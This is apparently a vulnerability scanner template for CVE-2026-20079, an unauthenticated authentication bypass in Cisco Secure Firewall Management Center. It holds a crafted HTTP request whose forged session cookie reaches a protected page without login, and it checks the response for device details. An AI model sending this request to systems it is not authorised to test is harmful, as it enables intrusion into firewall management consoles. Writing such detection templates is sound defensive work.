id: CVE-2026-20079

info:
  name: "Cisco Secure Firewall Management Center - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A vulnerability in the web interface of Cisco Secure Firewall Management Center (FMC) Software could allow an
    unauthenticated, remote attacker to bypass authentication and execute script files on an affected device to
    obtain root access to the underlying operating system.  This vulnerability is due to an improper system
    process that is created at boot time. An attacker could exploit this vulnerability by sending crafted HTTP
    requests to an affected device.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-20079&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=cisco&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2026-20079
    cwe-id: CWE-288
  metadata:
    verified: false
  tags: cve,cve2026,cisco,fmc,auth-bypass,rce,unauth,kev,vkev
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /help/about.cgi HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(body, "Invalid session ID")'
        condition: and
        internal: true

  - raw:
      - |
        GET /help/about.cgi HTTP/1.1
        Host: {{Hostname}}
        Cookie: CGISESSID=csm_processes

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Cisco Secure Firewall Management Center", "Model", "OS", "Hostname")'
        condition: and